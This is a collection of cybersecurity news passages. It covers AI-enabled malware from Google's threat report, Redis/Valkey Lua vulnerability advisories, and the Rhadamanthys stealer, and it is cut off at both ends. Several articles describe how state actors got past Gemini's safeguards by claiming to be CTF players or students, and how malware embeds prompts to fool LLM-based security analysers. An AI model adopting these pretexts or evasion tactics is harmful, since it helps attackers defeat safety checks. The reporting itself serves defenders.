lasciare un’impronta “leggera”: in un case study con sandbox e telemetria (HPC, syscalls, disco, rete) gli autori osservano assenza di segnali classici di ransomware (niente picchi evidenti di CPU o disk I/O; traffico di rete correlato alle chiamate al modello ma con banda contenuta). C’è infine un paradosso utile: anche quando il modello rifiuta una richiesta per policy (ad esempio estrazione di contenuti potenzialmente sensibili), la pipeline può comunque proseguire su cifratura o altre azioni. Questo rende i “refusal” un freno parziale, non una cintura di sicurezza completa. Nel report successivo di gtig (febbraio 2026) entra un tema meno “cyber classico” ma strategico: model extraction e distillation come forma di furto di proprietà intellettuale e di capacità, con campagne su larga scala per forzare output di reasoning e trasferirli in modelli “student”. Gli attacchi di estrazione di modelli (MEA) si verificano quando un avversario utilizza un accesso legittimo per sondare sistematicamente un modello di machine learning maturo al fine di estrarre informazioni utilizzate per addestrare un nuovo modello. Gli avversari che si dedicano agli MEA utilizzano una tecnica chiamata distillazione della conoscenza (KD) per prendere le informazioni raccolte da un modello e trasferire la conoscenza a un altro. Per questo motivo, gli MEA sono spesso definiti “attacchi di distillazione”. L’estrazione del modello e la successiva distillazione della conoscenza consentono a un aggressore di accelerare lo sviluppo del modello di IA in modo rapido e a un costo notevolmente inferiore. Questa attività rappresenta effettivamente una forma di furto di proprietà intellettuale (IP). La distillazione della conoscenza (KD) è una tecnica comune di apprendimento automatico utilizzata per addestrare modelli “studenti” da modelli “insegnanti” preesistenti. Ciò comporta spesso l’interrogazione del modello insegnante per problemi in un dominio particolare, quindi l’esecuzione di una messa a punto supervisionata (SFT) sul risultato o l’utilizzo del risultato in altre procedure di addestramento del modello per produrre il modello studente. “Esistono usi legittimi della distillazione e Google Cloud offre già servizi per eseguire la distillazione. Tuttavia, la distillazione dai modelli Gemini di Google senza autorizzazione costituisce una violazione dei nostri Termini di servizio e Google continua a sviluppare tecniche per rilevare e mitigare questi tentativi”. “Sebbene non abbiamo osservato attacchi diretti a modelli all’avanguardia o prodotti di IA generativa da parte di attori APT (Advanced Persistent Threat), abbiamo osservato e mitigato frequenti attacchi di estrazione di modelli da parte di entità del settore privato in tutto il mondo e di ricercatori che cercavano di clonare la logica proprietaria”, si legge nel report. Google cita un caso con oltre 100.000 prompt e descrive mitigazioni lato provider (monitoring pattern di query, difese in tempo reale per degradare l’efficacia della distillazione). Per l’utente finale medio il rischio è indiretto; per chi sviluppa o eroga modelli e agenti, è già una superficie d’attacco. Ci sono tre segnali che possono fare preoccupare. Il primo è la normalizzazione del just-in-time: malware che interroga LLM durante l’esecuzione per generare comandi, offuscare o rigenerarsi, come nei filoni PromptFlux e PromptSteal. Il secondo è l’integrazione “agentica” con strumenti: il caso Anthropic mostra che, con connettori tipo mcp e tool commodity, l’AI può fare da esecutore operativo e comprimere tempi e costi di campagne di spionaggio. Quando questo modello viene “prodottizzato” e portato nei mercati underground, aumenta la probabilità che attori meno sofisticati replichino workflow da APT. Il terzo è l’emergere di payload che riducono l’impronta e puntano su pochi file “ad alto valore”, spostando la detection su accesso a file sensibili, controllo dell’egress e osservazione delle chiamate verso endpoint LLM. È una delle implicazioni centrali del prototipo NYU. Attenzione però, “c’è molta differenza fra quello che viene presentato come realizzabile nei laboratori e quello che poi sarà diffuso realmente”, nota Claudio Telmon, noto esperto cyber, per P4I. “Detto questo, sono temi che di fatto sono rilevanti per chi produce strumenti di rilevazione e analisi”, aggiunge. “La singola azienda nella maggior parte dei casi si limiterà ad aspettarsi che gli strumenti antimalware rilevino più o meno bene anche queste tipologie”. “Malware metamorfici esistono da tempo, posso immaginare che i produttori di antimalware troveranno il modo di riconoscere pattern di struttura o di comportamento anche per questi”. “Più interessante – nota Telmon – invece l’utilizzo di strumenti di automazione, che porteranno probabilmente ad un aumento ulteriore di numerosità degli attacchi, ma anche a un AI slop nelle attività di attacco”. La pesca a strascico funziona sempre e farà forse ancora più danni per via dell’AI. Non bisogna mai dimenticarlo, quando si analizzano le frontiere tecniche più sofisticate dei malware.

Details Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Valkey incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Valkey server. (CVE-2025-49844) It was discovered that Valkey incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a integer overflow condition, and potentially achieve remote code execution on the Valkey server. (CVE-2025-46817) It was discovered that Valkey incorrectly handled Lua objects. An authenticated attacker could possibly use this issue to escalate their privileges. (CVE-2025-46818) It was discovered that Valkey incorrectly handled memory when running Lua scripts. An... Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Valkey incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Valkey server. (CVE-2025-49844) It was discovered that Valkey incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a integer overflow condition, and potentially achieve remote code execution on the Valkey server. (CVE-2025-46817) It was discovered that Valkey incorrectly handled Lua objects. An authenticated attacker could possibly use this issue to escalate their privileges. (CVE-2025-46818) It was discovered that Valkey incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to read out-of-bounds memory, causing a denial of service or possibly obtaining sensitive information. (CVE-2025-46819) It was discovered that Valkey incorrectly handled memory in some calculations. An attacker could possibly use this issue to cause a denial of service. (CVE-2025-49112) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

Google uncovers malware using LLMs to operate and evade detection PromptLock, the AI-powered proof-of-concept ransomware developed by researchers at NYU Tandon and initially mistaken for an active threat by ESET, is no longer an isolated example: Google’s latest report shows attackers are now creating and deploying other malware that leverages LLMs to operate and evade security systems. A step toward more autonomous and adaptive malware Google’s threat intelligence analysts have observed several instances of AI-powered malware being used in the wild: QuietVault is a credential stealer that targets GitHub and NPM tokens, but also leverages an AI prompt and on-host installed AI CLI tools to search for other potential secrets on the infected system to exfiltrate. PromptSteal (used by Russian APT28, aka Fancy Bear) is a data miner that uses the Hugging Face API to query Qwen2.5-Coder-32B-Instruct to generate one-line Windows commands, which it then executes to collect and exfiltrate data. FruitShell is a reverse shell that contains hard-coded prompts aimed at bypassing detection/analysis by LLM-powered security systems. The above-mentioned PromptLock and PromptFlux (a dropper) are both considered experimental. The former uses an LLM to dynamically generate and execute malicious Lua scripts at runtime, and the latter uses the Google Gemini API to rewrite its own source code on an hourly basis to evade detection. “Adversaries are no longer leveraging artificial intelligence (AI) just for productivity gains, they are deploying novel AI-enabled malware in active operations. This marks a new operational phase of AI abuse, involving tools that dynamically alter behavior mid-execution,” Google’s analysts pointed out. They also found that underground marketplaces catering to cybercriminals have a healthy selection of illicit AI offerings, with various alleged capabilities: AI offerings advertised in underground forums and their capabilities (Source: Google Threat Intelligence Group) AI as a skills enhancer Like Anthropic before it, Google has outlined how various threat actors misused its LLM to increase productivity during all attack stages. A China-nexus threat actor misused Gemini for crafting lure content, building technical infrastructure, and developing tooling for data exfiltration. An Iranian state-sponsored threat actor used it to research how to develop custom malware. Google admitted that both managed to bypass Gemini’s reluctance to provide responses – the China-nexus actor by claiming to be a participant in a capture-the-flag (CTF) exercise, and the Iranian threat actor by posing as a student working on a university project, paper or article. (Google says it has since strengthened protections against these techniques.) How a China-nexus threat actor misused Gemini across the attack lifecycle (Source: Google Threat Intelligence Group) “Threat actors continue to adapt generative AI tools to augment their ongoing activities, attempting to enhance their tactics, techniques, and procedures (TTPs) to move faster and at higher volume,” the analysts noted. “For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. These tools also afford lower-level threat actors the opportunity to develop sophisticated tooling, quickly integrate existing techniques, and improve the efficacy of their campaigns regardless of technical acumen or language proficiency.” Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Google on Wednesday said it discovered an unknown threat actor using an experimental Visual Basic Script (VB Script) malware dubbed PROMPTFLUX that interacts with its Gemini artificial intelligence (AI) model API to write its own source code for improved obfuscation and evasion. "PROMPTFLUX is written in VB Script and interacts with Gemini's API to request specific VBScript obfuscation and evasion techniques to facilitate 'just-in-time' self-modification, likely to evade static signature-based detection," Google Threat Intelligence Group (GTIG) said in a report shared with The Hacker News. The novel feature is part of its "Thinking Robot" component, which periodically queries the large language model (LLM), Gemini 1.5 Flash or later in this case, to obtain new code so as to sidestep detection. This, in turn, is accomplished by using a hard-coded API key to send the query to the Gemini API endpoint. The prompt sent to the model is both highly specific and machine-parsable, requesting VB Script code changes for antivirus evasion and instructing the model to output only the code itself. The regeneration capability aside, the malware saves the new, obfuscated version to the Windows Startup folder to establish persistence and attempts to propagate by copying itself to removable drives and mapped network shares. "Although the self-modification function (AttemptToUpdateSelf) is commented out, its presence, combined with the active logging of AI responses to '%TEMP%\thinking_robot_log.txt,' clearly indicates the author's goal of creating a metamorphic script that can evolve over time," Google added. The tech giant also said it discovered multiple variations of PROMPTFLUX incorporating LLM-driven code regeneration, with one version using a prompt to rewrite the malware's entire source code every hour by instructing the LLM to act as an "expert VB Script obfuscator." PROMPTFLUX is assessed to be under development or testing phase, with the malware currently lacking any means to compromise a victim network or device. It's currently not known who is behind the malware, but signs point to a financially motivated threat actor that has adopted a broad, geography- and industry-agnostic approach to target a wide range of users. However, security researcher Marcus Hutchins provided a counterargument on LinkedIn, calling out the likely exaggerated nature of companies "overblowing the significance of AI slop malware." The prompt embedded into the malware is "working under the assumption that Gemini just instinctively knows how to evade antiviruses (it doesn't)," Hutchins added. "There's also no entropy to ensure the 'self-modifying' code differs from previous versions, or any guardrails to ensure it actually works. The function was also commented out and not even in use." Google also noted that adversaries are going beyond utilizing AI for simple productivity gains to create tools that are capable of adjusting their behavior in the midst of execution, not to mention developing purpose-built tools that are then sold on underground forums for financial gain. Some of the other instances of LLM-powered malware observed by the company are as follows - FRUITSHELL, a reverse shell written in PowerShell that includes hard-coded prompts to bypass detection or analysis by LLM-powered security systems PROMPTLOCK, a cross-platform ransomware written in Go that uses an LLM to dynamically generate and execute malicious Lua scripts at runtime (identified as a proof-of-concept) PROMPTSTEAL (aka LAMEHUG), a data miner used by the Russian state-sponsored actor APT28 in attacks targeting Ukraine that queries Qwen2.5-Coder-32B-Instruct to generate commands for execution via the API for Hugging Face QUIETVAULT, a credential stealer written in JavaScript that targets GitHub and NPM tokens From a Gemini point of view, the company said it observed a China-nexus threat actor abusing its AI tool to craft convincing lure content, build technical infrastructure, and design tooling for data exfiltration. In at least one instance, the threat actor is said to have reframed their prompts by identifying themselves as a participant in a capture-the-flag (CTF) exercise to bypass guardrails and trick the AI system into returning useful information that can be leveraged to exploit a compromised endpoint. "The actor appeared to learn from this interaction and used the CTF pretext in support of phishing, exploitation, and web shell development," Google said. "The actor prefaced many of their prompts about exploitation of specific software and email services with comments such as 'I am working on a CTF problem' or 'I am currently in a CTF, and I saw someone from another team say ...' This approach provided advice on the next exploitation steps in a 'CTF scenario.'" Other instances of Gemini abuse by state-sponsored actors from China, Iran, and North Korea to streamline their operations, including reconnaissance, phishing lure creation, command-and-control (C2) development, and data exfiltration, are listed below - The misuse of Gemini by a suspected China-nexus actor on various tasks, ranging from conducting initial reconnaissance on targets of interest and phishing techniques to delivering payloads and seeking assistance on lateral movement and data exfiltration methods The misuse of Gemini by Iranian nation-state actor APT41 for assistance on code obfuscation and developing C++ and Golang code for multiple tools, including a C2 framework called OSSTUN The misuse of Gemini by Iranian nation-state actor MuddyWater (aka Mango Sandstorm, MUDDYCOAST or TEMP.Zagros) to conduct research to support the development of custom malware to support file transfer and remote execution, while circumventing safety barriers by claiming to be a student working on a final university project or writing an article on cybersecurity The misuse of Gemini by Iranian nation-state actor APT42 (aka Charming Kitten and Mint Sandstorm) to craft material for phishing campaigns that often involve impersonating individuals from think tanks, translating articles and messages, researching Israeli defense, and developing a "Data Processing Agent" that converts natural language requests into SQL queries to obtain insights from sensitive data The misuse of Gemini by North Korean threat actor UNC1069 (aka CryptoCore or MASAN) – one of the two clusters alongside TraderTraitor (aka PUKCHONG or UNC4899) that has succeeded the now-defunct APT38 (aka BlueNoroff) – to generate lure material for social engineering, develop code to steal cryptocurrency, and craft fraudulent instructions impersonating a software update to extract user credentials The misuse of Gemini by TraderTraitor to develop code, research exploits, and improve their tooling Furthermore, GTIG said it recently observed UNC1069 employing deepfake images and video lures impersonating individuals in the cryptocurrency industry in their social engineering campaigns to distribute a backdoor called BIGMACHO to victim systems under the guise of a Zoom software development kit (SDK). It's worth noting that some aspects of the activity share similarities with the GhostCall campaign recently disclosed by Kaspersky. The development comes as Google said it expects threat actors to "move decisively from using AI as an exception to using it as the norm" in order to boost the speed, scope, and effectiveness of their operations, thereby allowing them to mount attacks at scale. "The increasing accessibility of powerful AI models and the growing number of businesses integrating them into daily operations create perfect conditions for prompt injection attacks," it said. "Threat actors are rapidly refining their techniques, and the low-cost, high-reward nature of these attacks makes them an attractive option."

Google's Threat Intelligence Group (GTIG) has identified a major shift this year, with adversaries leveraging artificial intelligence to deploy new malware families that integrate large language models (LLMs) during execution. This new approach enables dynamic altering mid-execution, which reaches new levels of operational versatility that are virtually impossible to achieve with traditional malware. Google calls the technique "just-in-time" self-modification and highlights the experimental PromptFlux malware dropper and the PromptSteal (a.k.a. LameHug) data miner deployed in Ukraine, as examples for dynamic script generation, code obfuscation, and creation of on-demand functions. PromptFlux is an experimental VBScript dropper that leverages Google's LLM Gemini in its latest version to generate obfuscated VBScript variants. It attempts persistence via Startup folder entries, and spreads laterally on removable drives and mapped network shares. "The most novel component of PROMPTFLUX is its 'Thinking Robot' module, designed to periodically query Gemini to obtain new code for evading antivirus software," explains Google. The prompt is very specific and machine-parsable, according to the researchers, who see indications that the malware's creators aim to create an ever-evolving "metamorphic script." Google could not attribute PromptFlux to a specific threat actor, but noted that the tactics, techniques, and procedures indicate that it is being used by a financially motivated group. Although PromptFlux was in an early development stage, not capable to inflict any real damage to targets, Google took action to disable its access to the Gemini API and delete all assets associated with it. Another AI-powered malware Google discovered this year, which is used in operations, is FruitShell, a PowerShell reverse shell that establishes remote command-and-control (C2) access and executes arbitrary commands on compromised hosts. The malware is publicly available, and the researchers say that it includes hard-coded prompts intended to bypass LLM-powered security analysis. Google also highlights QuietVault, a JavaScript credential stealer that targets GitHub/NPM tokens, exfiltrating captured credentials on dynamically created public GitHub repositories. QuietVault leverages on-host AI CLI tools and prompts to search for additional secrets and exfiltrate them too. On the same list of AI-enabled malware is also PromptLock, an experimental ransomware that relies on Lua scripts to steal and encrypt data on Windows, macOS, and Linux machines. Cases of Gemini abuse Apart from AI-powered malware, Google's report also documents multiple cases where threat actors abused Gemini across the entire attack lifecycle. A China-nexus actor posed as a capture-the-flag (CTF) participant to bypass Gemini's safety filters and obtain exploit details, using the model to find vulnerabilities, craft phishing lures, and build exfiltration tools. Iranian hackers MuddyCoast (UNC3313) pretended to be a student to use Gemini for malware development and debugging, accidentally exposing C2 domains and keys. Iranian group APT42 abused Gemini for phishing and data analysis, creating lures, translating content, and developing a "Data Processing Agent" that converted natural language into SQL for personal-data mining. China's APT41 leveraged Gemini for code assistance, enhancing its OSSTUN C2 framework and utilizing obfuscation libraries to increase malware sophistication. Finally, the North Korean threat group Masan (UNC1069) utilized Gemini for crypto theft, multilingual phishing, and creating deepfake lures, while Pukchong (UNC4899) employed it for developing code targeting edge devices and browsers. In all cases Google identified, it disabled the associated accounts and reinforced model safeguards based on the observed tactics, to make their bypassing for abuse harder. AI-powered cybercrime tools on underground forums Google researchers discovered that on underground marketplaces, both English and Russian-speaking, the interest in malicious AI-based tools and services is growing, as they lower the technical bar for deploying more complex attacks. "Many underground forum advertisements mirrored language comparable to traditional marketing of legitimate AI models, citing the need to improve the efficiency of workflows and effort while simultaneously offering guidance for prospective customers interested in their offerings," Google says in a report published today. The offers range from utilities that generate deepfakes and images to malware development, phishing, research and reconnaissance, and vulnerability exploitation. As the cybercrime market for AI-powered tools is getting more mature, the trend indicates a replacement of the conventional tools used in malicious operations. The Google Threat Intelligence Group (GTIG) has identified multiple actors advertising multifunctional tools that can cover the stages of an attack. The push to AI-based services seems to be aggressive, as many developers promote the new features in the free version of their offers, which often include API and Discord access for higher prices. Google underlines that the approach to AI from any developer "must be both bold and responsible" and AI systems should be designed with "strong safety guardrails" to prevent abuse, discourage, and disrupt any misuse and adversary operations. The company says that it investigates any signs of abuse of its services and products, which include activities linked to government-backed threat actors. Apart from collaboration with law enforcement when appropriate, the company is also using the experience from fighting adversaries "to improve safety and security for our AI models." Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Details USN-7824-1 fixed several vulnerabilities in Redis. This update provides the corresponding update for Ubuntu 22.04 LTS. Original advisory details: Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Redis incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Redis server. USN-7824-1 fixed several vulnerabilities in Redis. This update provides the corresponding update for Ubuntu 22.04 LTS. Original advisory details: Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Redis incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Redis server. The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

Details USN-7824-1 fixed several vulnerabilities in Redis. This update provides the corresponding update for Redict - a fork of Redis. Original advisory details: Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Redis incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Redis server. USN-7824-1 fixed several vulnerabilities in Redis. This update provides the corresponding update for Redict - a fork of Redis. Original advisory details: Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Redis incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Redis server. The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

Details Benny Isaacs, Nir Brakha, and Sagi Tzadik discovered that Redis incorrectly handled memory when running Lua scripts. An authenticated attacker could use this vulnerability to trigger a use-after-free condition, and potentially achieve remote code execution on the Redis server. The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

Redis patches critical “RediShell” RCE vulnerability, update ASAP! (CVE-2025-49844) Redis, the company behind the widely used in-memory data structure store of the same name, has released patches for a critical vulnerability (CVE-2025-49844) that may allow attackers full access to the underlying host system. “This flaw allows a post auth attacker to send a specially crafted malicious Lua script (a feature supported by default in Redis) to escape from the Lua sandbox and achieve arbitrary native code execution on the Redis host,” Wiz researchers noted. To make matters even worse, the official Redis container images have authentication disabled by default. “Our analysis shows that 57% of cloud environments install Redis as an image. If not installed carefully, these instances may lack authentication entirely. The combination of no authentication and exposure to the internet is highly dangerous, allowing anyone to query the Redis instance and, specifically, send Lua scripts (…). This enables attackers to exploit the vulnerability and achieve RCE within the environment,” the researchers added. About CVE-2025-49844 Dubbed RediShell by the Wiz researchers who found and reported it, CVE-2025-49844 stems from a use-after-free memory corruption bug that may allow attackers to manipulate Redis’ Garbage Collector via specially crafted Lua scripts. Once a vulnerable Redis installation is breached and the underlying host is compromised, attackers may establish persistent access, install cryptominers or malware, exfiltrate sensitive data both from Redis and the host, compromise / steal credentials and use some of them (e.g., IAM tokens) to access other cloud services, Wiz researchers noted. The vulnerable code was added to Redis’ codebase in 2012. Thus, CVE-2025-49844 affects Redis (server) versions that use Lua scripting: v8.2.1 and earlier. The vulnerability has been fixed in: (Commercial, closed-source) Redis Software releases – 7.22.2-12 and higher, 7.8.6-207 and higher, 7.4.6-272 and higher, 7.2.4-138 and higher, 6.4.2-131 and higher Redis OSS/CE (open-source/Community Edition) releases with Lua scripting: 8.2.2 and higher, 8.0.4 and higher, 7.4.6 and higher, 7.2.11 and higher Redis Stack releases: 7.4.0-v7 and higher, 7.2.0-v19 and higher Update or disable Lua scripting Wiz researchers say that there are approximately 330,000 internet-exposed Redis instances out there, and about 60,000 of them have no authentication configured. The German Federal Office for Information Security (BSI) has also released an alert about the flaw, noting that in Germany alone there are about 4,000 Redis servers esposed without authentication. BSI pointed out that given the simplicity of the attack and the wide use of Redis, exploitation attempts are expected soon, especially once technical details become public. Wiz has refrained from sharing technical details for now. IT administrators have been advised to install updates immediately or, alternatively, to disable Lua scripting by using Access Control Lists (ACLs) to restrict the EVAL and EVALSHA commands. Wiz researchers also advised hardening Redis installations by: Enabling authentication Disabling unnecessary commands Operating Redis with a non-root user account Activating Redis logging and monitoring to track activity and identify potential issues Implementing network-level access control, and Limiting access to Redis only from authorized networks. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!

Redis has disclosed details of a maximum-severity security flaw in its in-memory database software that could result in remote code execution under certain circumstances. The vulnerability, tracked as CVE-2025-49844 (aka RediShell), has been assigned a CVSS score of 10.0. "An authenticated user may use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free, and potentially lead to remote code execution," according to a GitHub advisory for the issue. "The problem exists in all versions of Redis with Lua scripting." However, for exploitation to be successful, it requires an attacker to first gain authenticated access to a Redis instance, making it crucial that users don't leave their Redis instances exposed to the internet and secure them with strong authentication. The issue impacts all versions of Redis. It has been addressed in versions 6.2.20, 7.2.11, 7.4.6, 8.0.4, and 8.2.2 released on October 3, 2025. As temporary workarounds until a patch can be applied, it's advised to prevent users from executing Lua scripts by setting an access control list (ACL) to restrict EVAL and EVALSHA commands. It's also crucial that only trusted identities can run Lua scripts or any other potentially risky commands. Cloud security company Wiz, which discovered and reported the flaw to Redis on May 16, 2025, described it as a use-after-free (UAF) memory corruption bug that has existed in the Redis source code for about 13 years. It essentially permits an attacker to send a malicious Lua script that leads to arbitrary code execution outside of the Redis Lua interpreter sandbox, granting them unauthorized access to the underlying host. In a hypothetical attack scenario, it can be leveraged to steal credentials, drop malware, exfiltrate sensitive data, or pivot to other cloud services. "This flaw allows a post auth attacker to send a specially crafted malicious Lua script (a feature supported by default in Redis) to escape from the Lua sandbox and achieve arbitrary native code execution on the Redis host," Wiz said. "This grants an attacker full access to the host system, enabling them to exfiltrate, wipe, or encrypt sensitive data, hijack resources, and facilitate lateral movement within cloud environments." While there is no evidence that the vulnerability was ever exploited in the wild, Redis instances are a lucrative target for threat actors looking to conduct cryptojacking attacks and enlist them in a botnet. As of writing, there are about 330,000 Redis instances exposed to the internet, out of which about 60,000 of them lack any authentication. "With hundreds of thousands of exposed instances worldwide, this vulnerability poses a significant threat to organizations across all industries," Wiz said. "The combination of widespread deployment, default insecure configurations, and the severity of the vulnerability creates an urgent need for immediate remediation."

The Redis security team has released patches for a maximum severity vulnerability that could allow attackers to gain remote code execution on thousands of vulnerable instances. Redis (short for Remote Dictionary Server) is an open-source data structure store used in approximately 75% of cloud environments, functioning like a database, cache, and message broker, and storing data in RAM for ultra-fast access. The security flaw (tracked as CVE-2025-49844) is caused by a 13-year-old use-after-free weakness found in the Redis source code and can be exploited by authenticated threat actors using a specially crafted Lua script (a feature enabled by default). Successful exploitation enables them to escape the Lua sandbox, trigger a use-after-free, establish a reverse shell for persistent access, and achieve remote code execution on the targeted Redis hosts. After compromising a Redis host, attackers can steal credentials, deploy malware or cryptocurrency mining tools, extract sensitive data from Redis, move laterally to other systems within the victim's network, or use stolen information to gain access to other cloud services. "This grants an attacker full access to the host system, enabling them to exfiltrate, wipe, or encrypt sensitive data, hijack resources, and facilitate lateral movement within cloud environments," said Wiz researchers, who reported the security issue at Pwn2Own Berlin in May 2025 and dubbed it RediShell. While successful exploitation requires attackers first to gain authenticated access to a Redis instance, Wiz found around 330,000 Redis instances exposed online, with at least 60,000 of them not requiring authentication. Redis and Wiz urged admins to patch their instances immediately by applying security updates released on Friday, "prioritizing those that are exposed to the internet." To further secure their Redis instances against remote attacks, admins can also enable authentication, disable Lua scripting and other unnecessary commands, launch Redis using a non-root user account, enable Redis logging and monitoring, limit access to authorized networks only, and implement network-level access controls using firewalls and Virtual Private Clouds (VPCs). "RediShell (CVE-2025-49844) represents a critical security vulnerability that affects all Redis versions due to its root cause in the underlying Lua interpreter. With hundreds of thousands of exposed instances worldwide, this vulnerability poses a significant threat to organizations across all industries," Wiz warned in a report shared with BleepingComputer. "The combination of widespread deployment, default insecure configurations, and the severity of the vulnerability creates an urgent need for immediate remediation. Organizations must prioritize updating their Redis instances and implementing proper security controls to protect against exploitation." Threat actors frequently target Redis instances via botnets that infect them with malware and cryptominers. For example, in June 2024, a peer-to-peer malware botnet known as P2PInfect installed Monero cryptomining malware and deployed a ransomware module in attacks targeting Internet-exposed and unpatched Redis servers. Previously, Redis servers were also backdoored with Redigo malware and infected in HeadCrab and Migo malware attacks, which disabled protection features on compromised instances and hijacked them to mine for the Monero cryptocurrency. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The threat actor behind Rhadamanthys has also advertised two other tools called Elysium Proxy Bot and Crypt Service on their website, even as the flagship information stealer has been updated to support the ability to collect device and web browser fingerprints, among others. "Rhadamanthys was initially promoted through posts on cybercrime forums, but soon it became clear that the author had a more ambitious plan to connect with potential customers and build visibility," Check Point researcher Aleksandra "Hasherezade" Doniec said in a new report. First advertised by a threat actor named kingcrete2022, Rhadamanthys has emerged as one of the most popular information stealers available under a malware-as-a-service (MaaS) model alongside Lumma, Vidar, StealC, and, more recently, Acreed. The current version of the stealer is 0.9.2. Over the years, the stealer's capabilities have extended far beyond simple data collection, representing a comprehensive threat to personal and corporate security. In an analysis of version 0.7.0 of the malware last October, Recorded Future detailed the addition of a new artificial intelligence (AI) feature for optical character recognition (OCR) to capture cryptocurrency wallet seed phrases. The latest findings from Check Point show that the threat actors rebranded themselves as "RHAD security" and "Mythical Origin Labs," marketing their offerings as "intelligent solutions for innovation and efficiency." Rhadamanthys is available in three tiered packages, starting from $299 per month for a self-hosted version to $499 per month that comes with additional benefits, including priority technical support, server, and advanced API access. Prospective customers can also purchase an Enterprise plan by directly contacting their sales team. "The combination of the branding, product portfolio, and pricing structure suggest that the authors treat Rhadamanthys as a long-term business venture rather than a side project," Hasherezade noted. "For defenders, this professionalization signals that Rhadamanthys with its growing customer base and an expanding ecosystem is likely here to stay, making it important to track not only its malware updates but also the business infrastructure that sustains it." Like Lumma version 4.0, Rhadamanthys version 0.9.2 includes a feature to avoid leaking unpacked artifacts by displaying to the user an alert that allows them to finish the execution of the malware without inflicting any harm to the machine on which it's running. This is done so in an attempt to prevent malware distributors from spreading the initial executable in its plain, unprotected form so as to curtail detection efforts, as well as getting their systems infected in the process. That said, while the alert message may be the same in both the stealers, the implementation is completely different, Check Point said, suggesting "surface-level mimicry." "In Lumma, opening and reading the file is implemented via raw syscalls, and the message box is executed via NtRaiseHardError," it noted. "In Rhadamanthys, raw syscalls aren't used, and the same message box is displayed by MessageBoxW. Both loaders are obfuscated, but the obfuscation patterns are different." Other updates to Rhadamanthys concern support for two-factor authentication in the management panel for its customers, slight tweaks to the custom XS format used to ship the executable modules, the checks executed to confirm if the malware should continue its execution on the host, and the obfuscated configuration embedded into it. The modifications also extend to obfuscating the names of the modules to fly under the radar. One of the modules, previously referred to as Strategy, is responsible for a series of environment checks to ensure that it's not running in a sandboxed environment. Furthermore, it checks running processes against a list of forbidden ones, gets the current wallpaper, and verifies it against a hard-coded one that represents the Triage sandbox. It also runs a check to confirm if the current username matches anything that resembles those used for sandboxes, and compares the machine's HWID (hardware identifier) against a predefined list, once again to ascertain the presence of a sandbox. It's only when all these checks are passed that the sample proceeds to establish a connection with a command-and-control (C2) server to fetch the core component of the stealer. The payload is concealed using steganographic techniques, either as a WAV, JPEG, or PNG file, from where it's extracted, decrypted, and launched. It's worth noting that decrypting the package from the PNG requires a shared secret that's agreed upon during the initial phase of the C2 communication. The stealer module, for its part, is equipped with a built-in Lua runner that serves additional plugins written in the programming language to facilitate data theft and conduct extensive device and browser fingerprinting. "The latest variant represents an evolution rather than a revolution. Analysts should update their config parsers, monitor PNG-based payload delivery, track changes in mutex and bot ID formats, and expect further churn in obfuscation as tooling catches up," Check Point said. "Currently, the development is slower and steadier: the core design remains intact, with changes focused on refinements – such as new stealer components, changes in obfuscation, and more advanced customization options."

Rhadamanthys is a popular, multi-modular stealer, released in 2022. Since then, it has been used in multiple campaigns by various actors. Most recently, it is being observed in the ClickFix campaigns. The latest version, 0.9.2, comes with significant updates that may impact detection and enforce updates to tools used by researchers. Check Point Research (CPR) provides multiple scripts that can help defenders keep up with these changes: a converter for the new version of the custom executable format, a deobfuscator for strings, and an unpacker for the package that carries the modules. In this report we provide details of the latest changes and describe them in the context of the malware as a whole. Introduction Rhadamanthys is a complex, multi-modular malware sold on the underground market since September 2022. It was first advertised by the actor “kingcrete2022.” From the outset, its design showed the hallmarks of experienced developers, and analysis soon revealed that it drew heavily from an earlier project by the same authors, Hidden Bee [1]. This strong foundation helped Rhadamanthys quickly gain traction: from a niche product, it grew into one of the dominant stealers in cybercrime campaigns and has even attracted interest from more advanced threat actors. Since its appearance, Check Point Research (CPR) has been closely tracking its development, noting constant updates and customization options. In previous publications, we explored the breadth of its features, internal design, and the execution flow of its components using v0.5 as an example. Much of that work remains relevant today, as the core architecture has stayed intact. However, with the release of v0.9.x, Rhadamanthys introduced changes that broke some of our previously published 